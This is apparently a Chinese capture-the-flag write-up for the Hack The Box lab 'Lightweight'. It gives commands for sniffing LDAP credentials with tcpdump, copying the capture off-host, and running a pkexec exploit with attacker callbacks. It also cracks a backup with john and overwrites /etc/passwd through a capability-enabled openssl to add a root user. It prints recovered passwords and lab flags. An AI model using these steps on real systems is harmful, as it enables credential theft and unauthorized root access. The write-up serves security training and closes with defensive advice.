[Meachines] [Medium] Lightweight LDAP密码嗅探+TRP00F 自动化权限提升+openssl 权限提升
字数 1430 2025-08-20 18:18:16
Lightweight LDAP密码嗅探与权限提升技术分析
1. 信息收集阶段
1.1 初始扫描结果
目标IP: 10.10.10.119
开放端口:
- 22/tcp: OpenSSH 7.4 (protocol 2.0)
- 80/tcp: Apache httpd 2.4.6 (CentOS)
- OpenSSL/1.0.2k-fips
- mod_fcgid/2.3.9
- PHP/5.4.16
- 389/tcp: OpenLDAP 2.2.X - 2.3.X
- SSL证书信息:
- CommonName: lightweight.htb
- 有效期: 2018-06-09 至 2019-06-09
- SSL证书信息:
1.2 重要Web页面
- 主页面:
http://10.10.10.119/ - 信息页面:
http://10.10.10.119/info.php - 用户登录页面:
http://10.10.10.119/user.php
1.3 安全注意事项
- 服务器有防暴力破解机制
- 触发封禁后IP会被封锁5分钟
- 封禁期间无法查看封禁列表
- 禁止重置服务器影响他人测试
1.4 SSH自动注册机制
- 首次访问HTTP页面后,服务器会自动将客户端IP(如
10.10.16.24)注册为SSH用户名和密码 - 注册过程约需1分钟完成
- 建议登录后立即修改密码
2. LDAP密码嗅探技术
2.1 嗅探过程
-
通过SSH登录后,检查系统用户:
cat /etc/passwd -
在本地接口嗅探LDAP流量:
tcpdump -i lo port 389 -w /tmp/capture.cap -v -
将捕获文件传输到本地分析:
scp 10.10.16.24@10.10.10.119:/tmp/capture.cap /tmp/capture.cap
2.2 密码提取
分析捕获文件发现ldapuser2的明文密码:
password:8bc8251332abe1d7f105d3e53ad39ac2
2.3 用户切换
使用获取的密码切换到ldapuser2:
su ldapuser2
获取user.txt标志:
616c83ec01d41ae4e9f50b3a4293907b
3. TRP00F自动化权限提升
3.1 工具准备
TRP00F工具GitHub地址:
https://github.com/MartinxMax/trp00f
3.2 执行权限提升
python3 trp00f.py --lhost 10.10.16.24 --lport 10000 --rhost 10.10.16.24 --rport 10001 --http 1111
选择利用pkexec漏洞:
[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) >y
3.3 权限提升结果
从ldapuser2提升至ldapuser1
4. 备份文件分析
4.1 获取备份文件
cp backup.7z /tmp
scp 10.10.16.24@10.10.10.119:/tmp/backup.7z /tmp/backup.7z
4.2 破解7z密码
- 使用john破解:
7z2john backup.7z > backup.7z.hash
john --wordlist=/usr/share/wordlists/rockyou.txt backup.7z.hash
获取密码:
password:delete
- 解压文件:
7z x backup.7z
4.3 获取新凭据
从解压文件中获取ldapuser1的凭据:
username:ldapuser1
password:f3ca9d298a553da117442deeb6fa932d
5. OpenSSL权限提升技术
5.1 文件分析
检查关键文件:
ls -la
which openssl tcpdump
md5sum /usr/sbin/tcpdump ./tcpdump /usr/bin/openssl ./openssl
5.2 能力(Capability)检查
getcap /usr/sbin/tcpdump
getcap ./openssl
5.3 Linux Capabilities说明
ep权限标记代表:
- Effective(有效)
- Permitted(允许)
这些标志允许对二进制文件设置特定权限,无需root权限即可执行特权操作。
5.4 利用OpenSSL修改密码文件
- 生成root用户密码:
openssl passwd -1 -salt maptnh root
- 使用OpenSSL修改/etc/passwd:
./openssl base64 -in /etc/passwd | base64 -d > /dev/shm/passwd
echo 'maptnh:$1$maptnh$EaRHF5oKs2oIYcUsHbWYh0:0:0:/bin:/bin/bash'>/dev/shm/passwd
cat /dev/shm/passwd | base64 | ./openssl enc -d -base64 -out /etc/passwd
- 切换到root权限:
su maptnh
5.5 获取root标志
e31f846f4db812157e6595aa0e0e9c80
6. 技术总结
- LDAP嗅探: 通过监听本地LDAP流量获取明文凭证
- TRP00F工具: 自动化权限提升工具,利用pkexec漏洞
- 备份破解: 通过john破解加密备份获取更高权限凭证
- OpenSSL滥用: 利用具有特殊capabilities的OpenSSL二进制文件修改系统文件
- Capabilities机制: Linux安全功能被不当配置导致权限提升
7. 防御建议
- 对LDAP服务启用加密通信
- 定期检查系统二进制文件的capabilities设置
- 避免在备份文件中存储敏感凭证
- 及时更新系统修补已知漏洞
- 实施最小权限原则,限制用户和进程权限